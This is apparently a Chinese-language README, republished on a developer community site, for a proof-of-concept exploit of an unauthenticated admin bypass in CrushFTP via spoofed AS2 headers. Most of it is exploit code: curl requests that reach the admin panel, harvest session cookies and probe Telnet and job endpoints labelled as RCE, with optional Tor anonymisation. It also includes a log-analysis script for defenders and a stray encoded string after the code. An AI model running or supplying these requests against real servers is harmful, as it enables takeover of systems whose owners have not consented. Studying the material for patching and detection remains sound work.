
⚠️ 重要提示: 此漏洞已于 2025年11月被 CrushFTP 官方修复。本研究成果仅用于 教育和防御目的,请勿用于非法攻击。 📝 说明: 本研究基于与 CVE-2025-54309 相似的漏洞模式。本仓库记录的是在一个受控的家庭实验室环境中进行的独立安全研究。
本仓库详细记录了一个 严重的身份验证绕过漏洞,该漏洞允许攻击者通过操纵 AS2 协议头,以 单个 HTTP 请求 即可获取 CrushFTP 服务器的完整管理权限,整个过程 无需任何身份验证。
关键时间线:
研究者: SmileyFace101 (@SmileyFace101)
CrushFTP 的 Web 界面错误地信任了来自 AS2 协议头的请求,且未进行充分的验证。服务器默认假定所有带有特定 AS2 头的请求都是预先认证过的,从而绕过了正常的身份验证流程。
adaptive_exploit.sh**):一个灵活的测试工具,能尝试多种不同的认证绕过策略,自动寻找最有效的利用方式。complete_exploit.sh**):演示从绕过认证到获取有效会话Cookie的完整攻击链,为进一步的授权操作铺平道路。targeted_test.sh**):在获取会话后,针对 CrushFTP 中一系列高价值的后台管理端点(如Telnet接口、任务管理、用户管理等)进行访问测试,直观展示漏洞危害。log_analysis.sh**):帮助防御者在 Web 服务器和应用日志中搜索可疑的利用痕迹,用于事后排查与取证。curl: 用于发送 HTTP 请求。grep, sed, wc: 标准的文本处理工具。tor (可选): 用于通过代理匿名化测试流量。socks5h://127.0.0.1:9050 作为代理。所有脚本的使用方法基本一致,均接受目标 IP 和是否使用代理作为参数。
1. 使用日志分析脚本进行入侵排查
此命令会在 /var/log 目录下分析日志,寻找可能的漏洞利用痕迹,并将结果输出到一个带时间戳的文件中。
./log_analysis.sh /var/log2. 执行完整的漏洞利用链
对目标 192.168.1.100 进行完整的漏洞利用测试,不使用代理。
./complete_exploit.sh 192.168.1.100 noadaptive_exploit.sh 快速验证目标 CrushFTP 服务器是否存在漏洞,并尝试获取有效会话。targeted_test.sh 在获取会话后,系统地展示攻击者能够访问哪些敏感功能和数据。log_analysis.sh 对可疑服务器进行快速排查,确认是否曾遭受过此类攻击。adaptive_exploit.sh:多策略自适应利用脚本,用于测试不同的头部组合和利用方法。complete_exploit.sh:完整的漏洞利用脚本,演示从绕过到获取会话的全过程。targeted_test.sh:在获得会话后,用于测试高价值管理端点的脚本。log_analysis.sh:用于搜索日志中漏洞利用痕迹的分析工具。complete_exploit.sh 核心片段)此代码展示了如何通过构造特殊的 AS2 头部来绕过认证,并进一步生成用于后续授权的会话 Cookie。
#!/bin/bash
# ...
# 配置目标地址和代理
TARGET="${1:-10.0.100.50}"
# ...
echo -e "${BLUE}[*] Phase 1: Testing AS2 authentication bypass...${NC}"
# 使用 AS2 特定头部请求管理后台,测试绕过是否成功
response_size=$(curl -s $PROXY \
-H "X-DMZ-Proxy: disabled" \
-H "X-AS2-Version: 1.0" \
-H "User-Agent: AS2Server/1.0" \
"http://$TARGET/WebInterface/admin/index.html" | wc -c)
# 如果返回页面大小大于15000字节,通常意味着绕过成功
if [ "$response_size" -gt 15000 ]; then
echo -e "${GREEN}[✓] Admin panel access successful: $response_size bytes${NC}"
# ...
fi
# Phase 2: Generate Session Cookies
echo ""
echo -e "${BLUE}[*] Phase 2: Generating session cookies...${NC}"
# 通过访问一个需要认证的函数端点,服务器会在响应中返回Set-Cookie头
cookie_response=$(curl -i -s -k $PROXY \
-X POST -H "X-DMZ-Proxy: disabled" -H "X-AS2-Version: 1.0" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "command=getUsername" \
"http://$TARGET/WebInterface/function/")
# Phase 3: Extract Tokens... (后续代码从响应中提取currentAuth和CrushAuth)
# ...targeted_test.sh 核心片段)在成功获取会话后,此段代码会携带有效的 Cookie 对一系列敏感的管理端点进行访问测试,以验证漏洞的实际危害。
#!/bin/bash
# ...
# 获取会话Cookie (代码略)
# ...
# 定义要测试的高价值端点列表
declare -a endpoints=(
"/WebInterface/admin/index.html:Main Admin Panel"
"/WebInterface/admin/telnet.html:Telnet Interface (RCE)"
"/WebInterface/Jobs/index.html:Job Management (RCE)"
# ...
)
echo -e "${BLUE}[*] Testing high-value administrative endpoints...${NC}"
# 循环遍历并测试每个端点
for endpoint_info in "${endpoints[@]}"; do
IFS=':' read -r endpoint description <<< "$endpoint_info"
echo -e "${YELLOW}Testing: ${description}${NC}"
# 使用获取到的会话Cookie发送请求
response_size=$(curl -s $PROXY \
-H "X-DMZ-Proxy: disabled" \
-H "X-AS2-Version: 1.0" \
-H "Cookie: currentAuth=$currentAuth; CrushAuth=$crushAuth" \
"http://$TARGET${endpoint}" | wc -c)
# 根据响应大小判断访问结果
if [ "$response_size" -gt 1000 ]; then
echo -e " ${GREEN}[✓] Accessible: $response_size bytes${NC}"
# ...
fi
echo ""
done
# ...
```FINISHED6HFtX5dABrKlqXeO5PUv//NN4l5zmd4xjHxkGKWA3dS/fjxIgjvV+g70qPybMQo4NSLguzF97hjfgk6RuxZwUg==
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。